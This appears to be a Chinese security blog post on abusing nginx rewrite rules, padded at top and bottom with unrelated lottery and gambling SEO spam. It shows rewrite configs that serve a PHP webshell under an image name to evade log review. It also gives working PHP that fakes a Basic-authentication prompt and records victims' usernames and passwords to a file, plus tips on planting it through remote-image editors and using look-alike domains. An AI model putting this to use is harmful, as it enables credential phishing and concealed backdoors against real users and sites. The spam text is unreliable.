福彩3d出号走势图彩乐乐
3D任5选2组合遗漏分析 福彩3d跨度走势图带连线图 3d和尾走势图带连线 福彩3d和值走势图500期 3d和尾走势图大全 福彩3d大小奇偶走势图500期 今天3d试机号分析 福彩3d组三走势图带连线图 彩票3d试机号分析 福彩3d和值走势图带连线易彩网 福彩3d出号走势图彩宝贝 彩吧助手福彩3d出号走势图 福彩3d和值走势图带线 3d试机号分析17500 南方福彩3d跨度走势图带连线
Hack with rewrite
in with 0 comment

Hack with rewrite

in with 0 comment

0x00 簡介

大家都知道apache,nginx等有rewrite的功能,通過rewrite規則可以把輸入的URL轉換成另一個URL,這是我們常見的一種需求,可以讓我們的url變得更加簡潔。但是其實這個功能也可被用于一些別的目的。下面就簡單的介紹一下。

0x01 后門

關于通過配置文件做后門已經有很多文章有了介紹,即.htaccess.user.ini文件構造后門,關于.htaccess后門可以看這里,user.ini后門P牛也發過一篇文章,可以看這里,當然還有檸檬師傅的php.ini構成的后門。那么跟rewrite有什么關系呢。其實rewrite主要是為了逃避日志審查,通過rewrite,我們可以通過訪問一個圖片后綴的文件來執行我們的webshell,但是修改這些配置文件需要一定的權限。下面來進行一下簡單的介紹。測試的時候主要是使用nginx,所以對nginx進行一下介紹,關于apache的配置有興趣可以自己去查一波。下面是我的配置:
ngingx.conf

worker_processes  1;
events {
    worker_connections  1024;
}
http {
    include       mime.types;
    default_type  application/octet-stream;
    sendfile        on;
    keepalive_timeout  65;
    include /usr/local/nginx/vhosts/*.conf;
    server {
        listen       80;
        server_name  localhost;
        location / {
            root   html;
            index  index.html index.htm;
        }
        error_page   500 502 503 504  /50x.html;
        location = /50x.html {
            root   html;
        }
    }
}

配置了多個域名的配置,所以針對某個域名的配置文件在vhosts里面,要配置的域名的配置文件:mydomain.conf

server {
    listen 80;
    server_name  mydomain.com;
    root /www/mydomain;
    index index.html index.php;
    if ( $query_string ~* ".*[\;'\<\>].*" ){
        return 404;
    }
    location ~ .*\.(gif|jpg|jpeg|bmp|png|swf|flv|ico)$ {
        expires 30d;
    }

    location ~ .*\.(js|css)?$ {
        expires 7d;
    }
    location ~ \.php$ {
        fastcgi_pass   127.0.0.1:9000;
        fastcgi_index  index.php;

        include        fastcgi_params;
        #設置PATH_INFO并改寫SCRIPT_FILENAME,SCRIPT_NAME服務器環境變量
        set $fastcgi_script_name2 $fastcgi_script_name;
        if ($fastcgi_script_name ~ "^(.+\.php)(/.+)$") {
            set $fastcgi_script_name2 $1;
            set $path_info $2;
        }
        fastcgi_param   PATH_INFO $path_info;
        fastcgi_param   SCRIPT_FILENAME   $document_root$fastcgi_script_name2;
        fastcgi_param   SCRIPT_NAME   $fastcgi_script_name2;
    }
}

要配置重定向很簡單,只需要加入

    location ~ \.png$ {
    rewrite ^/img/test\.png$ /img/test.php last;
    }

意思是匹配以png結尾的url,如果匹配到 img/test.png,則重定向到 img/test.php,所以,只需要在img目錄下存放test.php,我們就可以通過訪問 http://domain.com/img/test.png來訪問。如下圖:
1520482949500.png

關于更多匹配的規則,可以看這篇文章

配置完需要重啟nginx服務。

0x02 基礎認證釣魚

關于基礎認證釣魚,其實很早之前就已經有文章介紹過了,比如如何制作基礎認證釣魚頁面。其實原理就是在頁面中插入一個php的img,即:

<img src="http://site.com/1.php"alt="Could not load image - Invalid credentils."/>>

php的代碼就是401的驗證,當用戶打開這個頁面的時候,由于請求了http://site.com/1.php,所以會彈出驗證的頁面,用戶輸入賬號密碼之后,密碼則會被攻擊者記錄。

注:這種方法適用于Firefox和IE瀏覽器,Chrome并不會彈出基礎認證窗口。

為了讓此攻擊達到更好地隱蔽效果,我們可以使用rewrite來重寫url。則使得訪問的鏈接文件后綴為一個圖片。為了達到更好地攻擊效果,寫了以下php代碼:

<?php
$now = new DateTime();
$user = isset($_SERVER['PHP_AUTH_USER']) ? $_SERVER['PHP_AUTH_USER'] : "";
$pass = isset($_SERVER['PHP_AUTH_PW'])   ? $_SERVER['PHP_AUTH_PW']   : "";
if ($user && $pass){
    $fp = fopen("count.txt", "a");
    $content = fread($fp);
    $ip = $_SERVER["REMOTE_ADDR"];
    $all = file_get_contents("count.txt");
    fwrite($fp, $now->format("Y-m-d H:i:s") . "\t" . $ip . "\t" . $user . ":" . $pass . "\n");
    $line = substr_count($all,$ip);
    fclose($fp);
}
if($line < 2){
    header('WWW-Authenticate: Basic realm="Corporate domain"');
}else{
    header('content-type: image/png');
    echo file_get_contents("test.png");
}
?>

代碼的功能就是彈出認證窗口,等待用戶輸入,并將輸入的賬號密碼存到count.txt,如果此用戶輸入已達3次(一次輸入可能是隨便輸入的賬號密碼),則輸出正常圖片。演示如下:

4878.gif
當然,你可以自己定義其他功能,比如將賬號密碼發送到郵箱等等。

php代碼寫好了,怎么利用呢?
其實我們要做到就是找各種編輯器,找那種可以遠程插入圖片的,然后插入我們的鏈接,如果網站直接把鏈接插入網站,那么在加載的時候,就會加載我們的驗證頁面。rewrite除了可以讓后綴看起來是一個圖片文件,其實還可以對一些編輯器進行繞過,比如插入遠程圖片的時候,編輯器對圖片進行預覽:

1520488071492.png

碰到這種情況,我們可以首先使用默認配置的nginx插入圖片,如下圖:

1520488284941.png

插入成功并提交以后,再重新修改rewrite。這樣可以進行一些繞過。某種情景的攻擊如下:
demo:
demo.gif

為了達到更好地效果。攻擊者可以注冊一個看起來受信任的域名。比如說,如果攻擊者的目標是targetdomain.com,那么他就可以注冊如下的類似地址:

targetdomain.co
targetdomain.net
target-domain.com
targetdomain-oauth.com
targetdomain-cdn.com
targetdomain-images.com
login-targetdomain.com
Responses
福彩3d出号走势图彩乐乐
3D任5选2组合遗漏分析 福彩3d跨度走势图带连线图 3d和尾走势图带连线 福彩3d和值走势图500期 3d和尾走势图大全 福彩3d大小奇偶走势图500期 今天3d试机号分析 福彩3d组三走势图带连线图 彩票3d试机号分析 福彩3d和值走势图带连线易彩网 福彩3d出号走势图彩宝贝 彩吧助手福彩3d出号走势图 福彩3d和值走势图带线 3d试机号分析17500 南方福彩3d跨度走势图带连线
代购游戏赚钱吗 甘肃快三规律 飞艇计划软件安卓版 五分彩开奖号码 澳门大小有规律吗 福彩3d民间小技巧 体彩排列三走势图表 广东快乐10分开奖 捕鱼大富翁 挂机方案 稳赚不爆